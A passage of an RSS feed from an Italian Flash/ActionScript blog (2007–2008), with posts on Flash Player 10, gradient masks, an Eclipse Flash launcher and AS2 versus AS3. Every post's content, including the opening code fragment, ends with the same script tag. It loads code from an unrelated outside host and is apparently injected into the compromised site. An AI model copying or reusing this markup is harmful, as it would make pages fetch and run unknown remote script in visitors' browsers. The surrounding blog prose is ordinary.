	b.<span style="color: #006600;">z</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #0066CC;">height</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">return</span> Bitmap<span style="color: #66cc66;">&#40;</span>_vxCont.<span style="color: #006600;">addChild</span><span style="color: #66cc66;">&#40;</span>b<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#125;</span>
<span style="color: #808080; font-style: italic;">// 25 lines ends here!</span>
&nbsp;
enjoy ;<span style="color: #66cc66;">&#41;</span></pre></td></tr></table></div>

<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Flash Player 10 API docs ready for download</title>
		<link>http://www.flashfuck.it/2008/05/22/flash-player-10-api-docs-ready-for-download/</link>
		<comments>http://www.flashfuck.it/2008/05/22/flash-player-10-api-docs-ready-for-download/#comments</comments>
		<pubDate>Thu, 22 May 2008 20:09:47 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Adobe]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/05/22/flash-player-10-api-docs-ready-for-download/</guid>
		<description><![CDATA[Here&#8217;s the link to download Astro&#8217;s API documentation: http://download.macromedia.com/pub/labs/flashplayer10/flashplayer10_as3langref_052008.zip
At this time it&#8217;s only available for download, not for online consultation.
]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s the link to download Astro&#8217;s API documentation: <a href="http://download.macromedia.com/pub/labs/flashplayer10/flashplayer10_as3langref_052008.zip">http://download.macromedia.com/pub/labs/flashplayer10/flashplayer10_as3langref_052008.zip</a></p>
<p>At this time it&#8217;s only available for download, not for online consultation.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/05/22/flash-player-10-api-docs-ready-for-download/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flash player 10 available on Adobe Labs</title>
		<link>http://www.flashfuck.it/2008/05/16/flash-player-10-available-on-adobe-labs/</link>
		<comments>http://www.flashfuck.it/2008/05/16/flash-player-10-available-on-adobe-labs/#comments</comments>
		<pubDate>Fri, 16 May 2008 00:35:44 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Adobe]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/05/16/flash-player-10-available-on-adobe-labs/</guid>
		<description><![CDATA[It&#8217;s time to upgrade! 
Astro is here!

Let&#8217;s take a look to what chefs cooked up for our taste pleasure:

3D support: finally adobe put some z in flash!:D on astro release notes Adobe&#8217;s claiming that they&#8217;re enabling everyone to create complex 3D effects using simple code&#8230; mmm&#8230; i&#8217;m curious about that! i&#8217;m a papervisioned guy!  [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s time to upgrade! <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Astro is <a href="http://labs.adobe.com/technologies/flashplayer10/">here</a>!</p>
<p style="text-align: center"><img src="http://www.flashfuck.it/wp-content/uploads/2008/05/flashplayer10_demo_nofl_557x475.jpg" alt="flashplayer10_demo_nofl_557√ó475.jpg" /></p>
<p>Let&#8217;s take a look to what chefs cooked up for our taste pleasure:</p>
<ol>
<li>3D support: finally adobe put some z in flash!:D on astro release notes Adobe&#8217;s claiming that they&#8217;re enabling everyone to create complex 3D effects using simple code&#8230; mmm&#8230; i&#8217;m curious about that! i&#8217;m a papervisioned guy! <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </li>
<li>hardware acceleration: flash player 9.0.115 introduced hardware acceleration&#8230; astro is becoming even friendlier with your gpu. Now flash player supports GPU compositing and blitting, both parameters must be enabled by html.</li>
<li>Adobe Pixel Bender: formerly Hydra (which was a cooler name <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ), this system let us create our own custom filters and apply them runtime..</li>
<li>New text engine! Multiple columns text, support for chinese (GB18030 )</li>
<li><a href="http://speex.org/">Speex</a>! a free codec used to encode speech&#8230;.Ribbit thanx while pacifica voip project is waiting&#8230;</li>
<li>Dynamic sound generation!&#8230;Andr√© Michelle&#8217;s &#8220;<a href="http://www.make-some-noise.info/">Adobe make some noise</a>&#8221; petition really made some noise! <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </li>
<li>File reference runtime access! Finally we don&#8217;t have to upload our files to manipulate them inside our RIAs! Files are handled as ByteArrays so we can do quite everything <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li><a href="http://labs.adobe.com/technologies/flashplayer10/releasenotes.html">Many others&#8230;</a></li>
</ol>
<p>Another impressive innovation is Astro is available for Ubuntu Linux users too&#8230;so even penguins can try new features shown in the <a href="http://labs.adobe.com/technologies/flashplayer10/demos/">demo on labs site</a>.</p>
<p>Finally the coolest news: <a href="http://opensource.adobe.com/wiki/display/flexsdk/Targeting+Flash+Player+10+Beta+with+Flex+SDK+3.0.x">WE ALREADY  CAN COMPILE CONTENT TARGETING ASTRO</a>!</p>
<p>I&#8217;m so excited i don&#8217;t need <a href="http://www.thinkgeek.com/caffeine/drinks/a273/">mana </a>to stay awake tonight!:D<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/05/16/flash-player-10-available-on-adobe-labs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gradient Masking &#8211; La sfumatura nelle maschere</title>
		<link>http://www.flashfuck.it/2008/01/06/gradient-masking-la-sfumatura-nelle-maschere/</link>
		<comments>http://www.flashfuck.it/2008/01/06/gradient-masking-la-sfumatura-nelle-maschere/#comments</comments>
		<pubDate>Sun, 06 Jan 2008 00:23:46 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/01/06/gradient-masking-la-sfumatura-nelle-maschere/</guid>
		<description><![CDATA[Questo √® uno &#8220;microtutorial&#8221; piuttosto semplice sulle maschere (sono 2 linee di codice -.-) che per√≤ ho notato non essere troppo conosciuto.
Come creare un effetto &#8220;pila&#8221; o &#8220;occhio di bue&#8221;? o pi√π banalmente, come creare una maschera sfumata con flash8 o superiori?

crea un movieclip da mascherare
crea un altro movieclip contenente una forma con riempimento a [...]]]></description>
			<content:encoded><![CDATA[<p>Questo √® uno &#8220;microtutorial&#8221; piuttosto semplice sulle maschere (sono 2 linee di codice -.-) che per√≤ ho notato non essere troppo conosciuto.</p>
<p>Come creare un effetto &#8220;pila&#8221; o &#8220;occhio di bue&#8221;? o pi√π banalmente, come creare una maschera sfumata con flash8 o superiori?</p>
<ol>
<li>crea un movieclip da mascherare</li>
<li>crea un altro movieclip contenente una forma con riempimento a gradiente nel quale almeno un colore abbia alpha minore di 100</li>
<li>posiziona nello stage (fisicamente o via actionscript) i due clip: il mascherato e la maschera</li>
<li>via actionscript imposta a true la propriet√† &#8220;cacheAsBitmap&#8221; di ciascun movieclip</li>
<li>sempre via actionscript imposta la maschera del movieclip da mascherare (setMask in AS2 o mask in AS3)</li>
</ol>
<p>ecco il risultato:<br />
<object type="application/x-shockwave-flash" data="http://www.flashfuck.it/wp-content/uploads/2008/01/maschere_sfumate1.swf" width="400" height="200" class="embedflash"><param name="movie" value="http://www.flashfuck.it/wp-content/uploads/2008/01/maschere_sfumate1.swf" /><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><small>(Please open the article to see the flash file or player.)</small></object></p>
<p>questo il fla dell&#8217;esempio (CS3) <a href='http://www.flashfuck.it/wp-content/uploads/2008/01/maschere_sfumate_flasfuckit.zip' title='maschere_sfumate_flasfuckit.zip'>Download Source</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/01/06/gradient-masking-la-sfumatura-nelle-maschere/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Flow &#8211; eclipse flash launcher</title>
		<link>http://www.flashfuck.it/2007/12/11/flow-eclipse-flash-launcher/</link>
		<comments>http://www.flashfuck.it/2007/12/11/flow-eclipse-flash-launcher/#comments</comments>
		<pubDate>Tue, 11 Dec 2007 08:55:00 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/12/11/flow-eclipse-flash-launcher/</guid>
		<description><![CDATA[&#8220;Flow&#8221; √® un tool che permette di lanciare il compilatore flash (sia il test movie che il compile vero e proprio) direttamente da Eclipse.

Lavora in command line, ma viaggia in automatico, una volta configurato il path di compilazione nel file .config eclipse fa praticamente tutto da sola.
Esistono altri progetti simili a questo, lo stesso Jaco [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<a href="http://www.pixeldump.org/index.php?blog=1&amp;title=flash_launcher_flow_beta">Flow</a>&#8221; √® un tool che permette di lanciare il compilatore flash (sia il test movie che il compile vero e proprio) direttamente da Eclipse.</p>
<p style="text-align: center"><img src="http://www.pixeldump.org/media/flow_ss01.png" onmouseout="undefined" onmouseover="undefined" title="undefined" height="86" width="86" /><br class="webkit-block-placeholder" /></p>
<p>Lavora in command line, ma viaggia in automatico, una volta configurato il path di compilazione nel file .config eclipse fa praticamente tutto da sola.</p>
<p>Esistono altri progetti simili a questo, lo stesso Jaco ne cita due : <a href="http://osflash.org/flashcommand">flashCommand</a> e <a href="http://www.gskinner.com">compileProject</a>, ma a quanto pare non sono pi√π sviluppati.<a href="http://www.pixeldump.org/"></a></p>
<p><a href="http://www.pixeldump.org/">Jaco</a> ha pubblicato anche uno <a href="http://www.pixeldump.org/media/flow/">screencast</a> dove viene mostrato <a href="http://www.pixeldump.org/media/flow/">Flow in azione</a> (Venetian Spoken <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ).</p>
<p>Per ora Flow √® disponibile in EXE&#8230;quindi niente trippa per gli unixbased come il sottoscritto&#8230;per ora (vero jaco?:D)</p>
<p>Un tool che non faciliter√† la vita a tutti, ma a molti <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Grande, respect.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/12/11/flow-eclipse-flash-launcher/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Actionscript 3 VS Actionscript 2</title>
		<link>http://www.flashfuck.it/2007/10/03/actionscript-3-vs-actionscript-2/</link>
		<comments>http://www.flashfuck.it/2007/10/03/actionscript-3-vs-actionscript-2/#comments</comments>
		<pubDate>Wed, 03 Oct 2007 21:35:03 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Anything else]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/10/03/actionscript-3-vs-actionscript-2/</guid>
		<description><![CDATA[AS2 o AS3?
Idee e opinioni degli addetti ai lavori sulle versioni di actionscript, sulle tendenze di mercato..

Riporto il topic su wave9.it, leggetelo qui o andate direttamente alla fonte  
Apro questo thread perch√® √® forte lo slancio che da un p√≤ di tempo a questa parte ha trascinato l&#8217;attenzione di molti &#8220;flasher&#8221; su AS3, e [...]]]></description>
			<content:encoded><![CDATA[<p>AS2 o AS3?<br />
Idee e opinioni degli addetti ai lavori sulle versioni di actionscript, sulle tendenze di mercato..</p>
<p align="center"><img src='http://www.flashfuck.it/wp-content/uploads/2007/10/gotoandfuck.png' alt='gotoandfuck.png' /></p>
<p>Riporto il topic su <a href="http://www.wave9.it">wave9.it</a>, leggetelo qui o andate <a href="http://www.wave9.it/showthread.php?p=124460">direttamente alla fonte</a> <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<blockquote><p>Apro questo thread perch√® √® forte lo slancio che da un p√≤ di tempo a questa parte ha trascinato l&#8217;attenzione di molti &#8220;flasher&#8221; su AS3, e diverse sono le opinioni a riguardo tra gli addetti ai lavori e non solo.</p>
<p>Actionscript 3 ha portato insieme gioie e perplessit√†,<br />
ha sicuramente accentuato le differenze tra le figure &#8220;flash coder&#8221; e &#8220;flash designer&#8221; marcando pi√π strettamente il territorio di confine.<br />
Forse ha incrinato la figura del &#8220;flasher&#8221; come &#8220;colui che sviluppa in flash&#8221; e ha attirato (soprattutto con la sempre maggiore diffusione di flex) una valanga di coders a cimentarsi con actionscript.</p>
<p>C&#8217;√® chi pensa che AS3 abbia solo complicato le cose, o meglio turbato l&#8217;equilibrio che si era andato a creare con l&#8217;avvento di flash mx,<br />
che con AS3 serva scrivere molto pi√π codice per fare le stesse cose che si facevano in AS2, e quindi non serva a nulla,<br />
che AS3 e la AVM2 (la virtual machine di flash player 8.5+) sia solo una strategia di marketing per stravolgere il mercato e vendere flash 9 (ehm&#8230;cs3) e flex builder ad una fetta pi√π ampia di coders&#8230;.</p>
<p>C&#8217;√® anche chi pensa che AS3 sia il &#8220;futuro&#8221; ( anche se non ancora ben rodato),<br />
che AS3 sia effettivamente pi√π valido di AS2, che la virtual machine sia nettamente pi√π performante della precedente&#8230;e via cos√¨&#8230;</p>
<p>&#8230;e intanto hanno presentato al MAX il flash player 10&#8230;</p>
<p>E voi cosa ne pensate?</p></blockquote>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/10/03/actionscript-3-vs-actionscript-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Diffusione Flash Player &#8211; Ecco le statistiche ufficiali</title>
		<link>http://www.flashfuck.it/2007/09/26/diffusione-flash-player-ecco-le-statistiche-ufficiali/</link>
		<comments>http://www.flashfuck.it/2007/09/26/diffusione-flash-player-ecco-le-statistiche-ufficiali/#comments</comments>
		<pubDate>Tue, 25 Sep 2007 22:10:44 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Anything else]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/09/26/diffusione-flash-player-ecco-le-statistiche-ufficiali/</guid>
		<description><![CDATA[Di recente ho trovato una pagina in cui adobe presenta le statistiche ufficiali di diffusione del flash player in base alle versioni, interessantissima per chi ha a che fare con le grandi distribuzioni (o semplicemente vuole coprire il maggior numero di utenze).

Non fatevi ingannare dal titolo della pagina, flash player version &#8220;penetration&#8221; non √® quello [...]]]></description>
			<content:encoded><![CDATA[<p>Di recente ho trovato una pagina in cui adobe presenta le <a href="http://www.adobe.com/products/player_census/flashplayer/version_penetration.html">statistiche ufficiali di diffusione del flash player</a> in base alle versioni, interessantissima per chi ha a che fare con le grandi distribuzioni (o semplicemente vuole coprire il maggior numero di utenze).</p>
<p style="text-align: center"><img src="http://www.flashfuck.it/wp-content/uploads/2007/09/stats.gif" alt="stats.gif" height="214" width="300" /></p>
<p>Non fatevi ingannare dal titolo della pagina, flash player version &#8220;penetration&#8221; non √® quello che avete immaginato&#8230;<br />
per quello vi rimando <a href="http://it.youtube.com/watch?v=U4mlEr6lKCE">qui </a> <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/09/26/diffusione-flash-player-ecco-le-statistiche-ufficiali/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
